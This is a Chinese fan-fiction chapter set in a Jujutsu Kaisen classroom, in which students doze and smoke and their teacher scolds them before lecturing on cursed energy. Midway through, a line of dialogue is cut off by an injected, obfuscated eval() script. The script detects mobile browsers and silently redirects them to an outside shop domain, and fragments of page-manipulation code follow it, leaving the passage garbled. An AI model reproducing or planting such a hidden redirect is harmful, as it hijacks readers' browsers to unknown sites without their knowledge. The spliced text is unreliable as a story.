怎么了这是?
室外阳光明媚,朝气蓬勃,鸟儿叽叽喳喳,携着春天的生机四处播撒。
大好的场景,家入硝子有点想不明白,怎么一点喊不醒那几个粘在桌上的人呢,从她进门到现在,也就她推开门时看到他们抬了下头,其余时间则一直趴在桌上酣睡,这些人晚上都不睡觉的吗。
“喂,大早上的,精神点啊。”
家入硝子倚坐在贺茂荧课桌旁抽着烟,低头点燃时瞟到贺茂荧乱糟糟的头发,没来由拍了下,贺茂荧抬头疑惑,被家入硝子找了个由子搪塞。贺茂荧眨了眨沉重的眼皮,没有回答家入硝子,转而抬头看向教师前黑板上的时钟。
好像快到上课时间了。
贺茂荧举起双手抻着懒腰,无精打采地打哈欠,疏通趴久了微微有些僵硬的身子,舒坦的感觉传导全身,贺茂荧终于睁全了眼睛,含着顺手从家入硝子手中捏着的烟盒里摸出的香烟,诚恳望着家入硝子,说:“借个火?”
……
家入硝子扶额,有点不知该说些什么。
被一个稚嫩的小孩用异常成熟的语气这么问,好诡异,而且动作还这么娴熟,到底跟谁学的。
她很好奇对方的成长环境到底有多恶劣,但介于不太熟,还是没问出口,只默默顶着对方殷切目光,给他点上了香烟。
大哥你请抽。
“唰——”
拉开滑动门的夜蛾正道一进门,正正巧撞上这一幕。
是谁!岂敢带坏自己好不容易教上的乖乖学生。
夜蛾正道飞闪至家入硝子和贺茂荧二人中间,挥手用难以捕捉的速度啪啪打掉了他们二人嘴间叼着的烟,以及面无表情地没收了家入硝子手中捏的那包。
“教室不准抽烟。”
注意到家入硝子大眼瞪小眼地用难以置信表情紧紧盯着自己手中的烟,像攥着她的命根子一样,夜蛾正道淡淡回应道,堵死了家入硝子蠢蠢欲动的未脱口之话。
旁边的贺茂荧却仿佛游离在状况之外,没有关注这边发生了什么,脑袋一点一点往怀里撞,自顾自从卫衣口袋里摸出包烟,轻弹盒底,一根烟从中蹦出,稳稳进了贺茂荧的口中。
“那他呢!”
不服气的家入硝子手指后方贺茂荧,将战火转移。
状况外的贺茂荧茫然抬头,看着课桌左边居高临下望着自己的二人,一人悲痛,一人愤懑,疑惑询问:“怎么了?”
“教室不准抽烟,小子。”
背靠夜蛾正道,家入硝子揣手坏笑,等着贺茂荧被没收香烟。
但可惜,并未如她所愿。
贺茂荧懵懂点了点头,将烟收回了荷包里,夜蛾正道只淡淡看着,见他没打算继续抽烟,于是转身,准备回到讲桌处,却被家入硝子突然拉住,他回头奇怪:“家入同学还有什么事吗?”
不服的家入硝子又一次手指“呆萌”的贺茂荧,悲愤交加喊道:“为什么不收他的烟!”
没收了他再去买花的还是我的钱,收了干嘛。
夜蛾正道昧着良心,语重心长说:“贺茂同学身体有些问题,需要香烟辅助治疗。”
家入硝子满脸狐疑,明显不太相信,她好歹也学了些医疗知识,昨天那么活蹦乱跳的人,能有什么病?
她回头看向贺茂荧,准备向本人确认。
“干什么,别欺负我们可怜的小同学啊。”
听到有热闹自动苏醒的五条悟连睡得毛躁的头发都来不及整理,一下搭上了贺茂荧的左肩,将人往自己怀中揽,头贴着头,显得极其要好,怕可信度不够,还顺势将放在贺茂荧左肩的手上移,贴上了脑袋。
这俩人什么时候这么要好了?
诡异体会到昨天被围攻的五条悟心情的家入硝子懒得计较,悻悻回到了自己座位上,怨念看着右边那对贴在一起的“好朋友”。
被迫埋在对方颈窝的贺茂荧感受到炙人的体温和温热的呼吸,勉强打起了点精神,摇晃脑袋表示抗拒,惹得五条悟直泛痒,低声警告贺茂荧:“别乱动。”
“我不喜欢这样。”
贺茂荧没什么力气,弱弱出声,声音同样很小。
“再抱一会儿,有人还没看到呢。”
五条悟轻轻加重手上力道,看着好像并不容抗拒,好吧,贺茂荧懒得反抗了,“哦。”
“听话,下课请你吃好吃的。”
“嗯…”
贺茂荧轻轻应和,温暖柔软的环境让他话未说完便睡倒在了五条悟怀中。
对方脑袋不重不轻的重量全然负担在了自己身上,有点不适应的五条悟突然不知该怎么办,不是,你怎么还睡上了?
他本是微蹲在右边,斜靠着贺茂荧,现在对方将重量全部压在了自己身上,屁股没有支撑点,只能悬在空中,全靠蹲着马步稳住。
不仅费力,而且非常得不雅观,偏偏他还不敢轻举妄动,第一次有人睡他身上,这该如何处理,没人教过啊!
“五条同学,你这是来上课的吗?”
刚板书完今天要上的课程题目,夜蛾正道回头看见这场景,不太理解这五条家的小少爷想干什么,在霸凌同学吗,是不是太近了点。
上课铃已然敲响,为了维持课堂秩序,夜蛾正道还是决定管一管,轻咳两声没把处于懵圈状态,纠结怎么把人从自己身上取下的五条悟叫醒,只好甩出粉笔头直射向五条悟面门,大声提醒。
速度不慢的粉笔在空中滑出一道利落直线,眼看即将抵达五条悟低下查看贺茂荧状态的头顶,却在毫厘的距离停下,仿佛撞上什么物体,被弹飞至左后方,也就是夏油杰处。
“嘭。”
清脆的撞击脑门声在教室间回荡,所有人的视线都聚焦于此处。
被强制开机的夏油杰甫一抬头,还没摸清处发生了什么,便被右前方那贱兮兮的轻笑勾住视线。
得意的五条悟回头挑眉,晃动悬空在贺茂荧脖颈后的左臂挑衅,看,我和他玩上了,还抱在一起,气不气?
神经病。
夏油杰收回视线,不想搭理这人,昨晚配贺茂荧熬了会儿,回去补觉又被莫名的动静吵得睡不安稳,没多余精力陪那小少爷胡闹。
动静来源之人此刻倒睡得正安稳,五条悟耍宝这么大的动静也没吵醒他,还因为夜蛾正道一直在用眼刀子催促,而被五条悟轻轻放回桌面继续睡觉,也没醒来。
“他们什么时候
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17897875|212869||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
玩这么好了?”
家入硝子回头询问后桌夏油杰,夏油杰奇怪怎么来问他,没精打采地问了句“不知道。”便打算埋头继续睡。
“你们昨晚上干什么了?三个人都这么没精神。”
家入硝子强拉着夏油杰没让其陷入沉睡,继续追问。
“锻炼。”
夏油杰打着哈欠没有多想,睡眼惺忪地揉了揉眼睛,困意微微消下,看夜蛾正道板书得差不多,便不再打算睡觉,好歹是开学第一课。
“大晚上?”
家入硝子诧异,声量不自觉拔高,遂即被飞来的粉笔头当头暴击。
“哎哟!”
家入硝子捂着脑袋吃痛,这混蛋老师用咒力了吧,这么疼,她怒视转身看向讲台方向,恰合夜蛾正道的心思,敲着黑板提醒:“咳咳,有的同学,自己不学习不要打扰别的同学。”
谁在学?
环顾四周,家入硝子也没找到一个在学习的人。
右边在熟睡,右后在对自己后座做鬼脸,教室里有谁在学!
家入硝子挺直身子回怼夜蛾正道,却见对方根本没在看自己,反而一脸欣慰地看向自己身后,家入硝子回头,这才发觉自己被背叛,正襟危坐的夏油杰拿出笔记和书本摆满原本空荡荡的桌面,全神贯注地睁着不大的眼睛,死死看着黑板。
“你搞什么?”
夏油杰不理。
“别装了,小少爷舌头都快抽筋了,你不理理?”
夏油杰依然不理。
“唰,唰。”
两道带着破空声的粉笔头分别向挤眉弄眼的家入硝子和翻白眼吐舌头的五条悟砸去。
“专心上课!”
夜蛾正道猛敲黑板,将睡梦中的贺茂荧也一同叫醒,恍惚间,他依稀听到。
“咒力,目前的咒术界的研究通认其来源于人类的负面情绪产生,在积压一定程度便会转化为超凡的力量,被咒术师使用。
而术式,则是咒术师们使用咒力的方式,其均为天生附带,没有生得术式的人则可以通过后天学习一些技巧来使用咒力,例如家入同学的反转术式,亦或者是贺茂同学这种。
术式没有太大作用于是选择通过锻炼体术来应对咒灵。”
术式?
台下三人听到夜蛾正道点名贺茂荧,纷纷将目光调转那边正用脑袋钓鱼的小屁孩,他的术式,到底是什么呢?
台上的夜蛾正道没发觉台下学生都已经神游天外,仍在自顾自讲着课本的第一章。
“术式是咒术师的武器,但不可太过依赖。
没有生得术式的人通过后天学习同样能达到许多咒术师无法驻足的地步,甚至说,没有咒力的人也能做到。
所以,请小心一切所遇到的人类,无论是否为咒术师。
咒术师的第一课,即要知道,人在大多数时候,比咒灵更为凶险。”
“听到了吗?”
“嗯?”
夜蛾正道抬头,发觉台下四人已经全部遨游梦海,怒不可遏拍下书本。
“起床!都给我滚去操场,实战!”
“哦哦,好耶!”
正合了某人心意,欢呼道。